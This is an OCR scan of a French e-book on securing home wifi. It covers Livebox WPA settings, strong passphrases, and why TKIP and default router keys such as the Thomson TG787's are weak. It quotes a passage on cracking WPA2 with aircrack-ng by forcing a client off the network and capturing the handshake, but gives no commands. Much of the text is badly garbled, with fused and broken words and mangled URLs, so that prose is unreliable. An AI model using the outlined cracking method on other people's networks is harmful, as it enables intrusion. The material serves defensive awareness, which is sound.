
Aller dans contréle d’accés pour le modifier.

Eichier Edition  Affichage: Historique:  Marque-pages  Qutils 7

@ - & ‘it || hetpijf192.168:1.1 cache FSUSESENEN e cai 7 -] ey anc £

| ] Livebox- NN -
- Contrale Parametrage LAN & Serveurs  |Réseall sans | Effacer/ Configuration
I V e ox daccas OHCR | LAN | fil |  Redemarrer | avancee

Droit d'acces des utilisateurs

= Mes services

= Informations admin | HTTP | Administration

Sélection de la langue
Connexion ADSL Cha as
Sans fil 802.11g

Blustootn
LAN

Logiciel

Use

Vaix sur P

BEGT

Terming o0



Surtout ne l'oubliez pa®

Nous allons passer a une autre sorte de génédaiolé réseau wifi !

Le wpa

Il est né lors du besoin de trouver une sécuriié farte sur la protection des
données échangeés.

Il faut savoir quelques détails il y a plusieuratie de wpa le principe reste le
méme.

Wpa-psk tkip

Wpa-aes ccmp

Il y en a deux si votre matériel le permet opteargamp.

Mais quoi qu'il en-soi changez le wep par un descde

Fichier  Edition  Affichage  Historigue  Marque-pages  Qutils 2

6 - (el L] | htbpsf192.168, 1 1 fcache/1 0@ nde: coi T v | || o J
| Livebox JEEN
= i o | % Tk =
Contrdle FParamétrage LANM & Serveurs  |Réseat sans Effacer f Configuration
Ive Ox d'acceas | DHCP LAM fil Redémarrar avancee
Configuration WPA
:ﬂ Mgg:grﬂtgg Passphrase ipassward
Chiffrement: TKIP -
= Informations L AUtD
Attention: |e changement de la clef prov AES déconnexion de tous |es ordinateurs
Sélection de la langue connectés au rézeau sans fil aprés l'appui sur le bouton "Appliguer”.
Connexion ADSL
Sans fil 802,11g
Bluetooth ”
LAM Appliguer Fermer
Logiciel
USBE
Voix sur P
DECT
Terming 7|:|B7

Choisissez « aes » car pour Tkip une faille existe
Le plus important choisissez un mot de passe qdenea :

En aucun cas se trouver dans un dictionnaire !!!




Voici un exemple de clé wpa « inviolable »

nk1REW9/"\B[ph~GehAB&ER)IV<&y6RZZKXU*XE3L!cu-
Zt"2(53NY%FAXOXX(

C'est un conseil.
Une clé wpa doit au minimum compter de huit & Gac@re maxi.

Mettre un prénom ou un email ou bien son no dehége est fortement
deconseillé.

Car si notre jeune garcon dans sa chambre capturandshake alors il pourra
le brute forcer facilement croyez-moi.

Un handshake c'est un paquet 'une trame' émisdddesconnexion d'une carte
wifi & une box.

Ce paguet contient la clé avec on peut faire cpomdre des mots et les essayer
a la vitesse de I'éclair via des logiciels comm@iagui se sert des processeurs
des cartes graphiques de type nvidia 8 et 9 ea@ddion pour accélérer le nombre
de mot seconde a brute forcer sur le paquet.

Autant dire que si vous avez mis une clé commatint» ce mot va étre
retrouvé en peu de temps...

Voici un passage tiré d'un autre e-book

Travaux pratiques
Il est temps de passer aux choses concrétes et de tenter de percer un réseau WPA2/Personal avec
AirCrack. AirCrack est compose d'un ensemble d'utilitaires dont :

+ airodump-ng : capture du trafic WiFi

+ aireplay-ng : déconnexion d'un client du réseau WiFi (votre pilote de carte WiFi doit supporter
I'injection de paquets)

* aircrack-ng : sert au cassage a proprement parler

+ airmon-ng : sert a passer |'adaptateur réseau en mode Monitoring

Capture du « 4-way handshake »

La premiere étape que nous allons effectuer est la collecte du 4-way handshake entre un client et le
point d'accés du réseau que I'on tente de casser (le filtrage d'adresse MAC du réseau WiFi a étfe
désactive).. et cette collecte n'est pas foujours évidente car il faut soit :

+ Se resoudre a écouter le réseau WiFi pendant une « longue » période (des heures voir des jours)
dans |'espoir qu'un client légitime s'y connecte;

* Provoquer la déconnexion d'un client préalablement connecté et espérer que ce client se reconnecte
dans les secondes/minutes qui suivent (aireplay-ng)



Voila ce que I'on peut dire sur le wpa et que \aebez savoir !

Il ne faut pas croire gue la reconnaissance d'sdm®sc est une sécurité ce n'est
pas du tout le cas !!!

A ce stade si vous avez suivi mes conseils et asroprse trouve les points
importants vous aurez déja empéché 90 % des passiloie vous faire pirater

Toujours pas convaincu !

Ce qui suit va vous aller le voir vous prouvez tpuerpa mal configurer peut se
casser en trente secondes et méme pas besoinxi@dar le faire...

Le pire c'est qu'a ce moment ou j'écris (samedaidl4 2009)

Un modele de routeur largement rependu et encaoraifoaux houveaux
abonnés que nous sommes.

Les fournisseurs d'acces l'utilise pour des raisenso(t de reviens c'est le
routeur Thomson.

BbOH Internet + TV
t_télphnnle fixe

COMMUNIILER EN TOUTT LIBERT

Le voici le Thomson TG787

Bien que cela soit clair ce routeur a vu sa sécugiribuer par défaut, casser
simplement, car les hackers connaissent I'algoattiengénération des clés wpa



Et un logiciel permet de retrouver cette clé gr@eceom du réseau.

Bouygues a réagi

http://bbox-news.com/2009/10/05/593/bouyques-tetepoopose-une-solution-
pour-la-securite-wifi/

lIs le disent, il suffit de modifier la clé génépaar défaut et aussi de changer le
nom de diffusion par un autre. Ex : bbox-1234 p#iramoi ¢ca cache aussi la
marque de votre box.

Les darty box en wpa ont eux aussi des soucisjrcagseau en wep en plus du
wpa et générer aussi par défaut et donc la encopealbleme de sécurité et
encore mis en évidence et facilement exploitabiaipa personne mal
intentionné.

J'espere vous avoir interpellé sur ce qu'est le wif
Prenez le temps de configurer tout ca...

Administrer votre réseau et sécuriser e |

Ce dont je ne vous ai pas parlé c'est le DHCP atesbonne protection de le
désactiver, mais il vous faudra des bases en agdyeds plus bas dans les liens
si vous avez envie d'en savoir plus je vous irigdler encore sur frameip.com.

Sinon il y a airsnare qui vous prévient vocalents# connectées.

Et Autoscan qui permet de lister la configuratilenvotre réseau ils sont tous
deux trés complet.




Conclusion : ce n'est qu'une introduction a la essance de votre sécurité wifi
il existe bien d'autres fagon de vous voler vossndet passe.

J'ai cherché a vous faire peur, car en lisantwe lious étes capable vous de
vous rendre compte qu'il est facile de prendreriets de passe https sans avoir
besoin de fortes connaissances en informatique !

Ah oui, je suis moi-méme client chez paypal ehjde sans réserve sur internet,
mais je fais gaffe, et j'espere avoir contribué@aitre votre connaissance sur
les risques d'un wifi pas administre...

Les sources des sites visités pour écrire ce $iong :

http://bricowifi.blogspot.com/

http://benjy-blog.blogspot.com/

http://www.backtrack-fr.net/

http://www.thoughtcrime.org/
http://www.neOmatrix.blogspot.com/
http://www.frameip.com/
http://www.tuto-fr.com/tutoriaux/crack-wep/fichiévsdeos/video-crack-wep-
devine.php
http://www.tuto-fr.com/tutoriaux/tutorial-crack-wegrcrack.php
http://www.crack-wpa.fr/

http://fr.remote-exploit.org/
http://www.delafond.org/survielinux/
http://www.siteduzero.com/

http://tux.crystalxp.net/
http://www.linuxpourlesnuls.org/forums/

Fabrice P

http://www.securite-wifi.com/

A bientbt




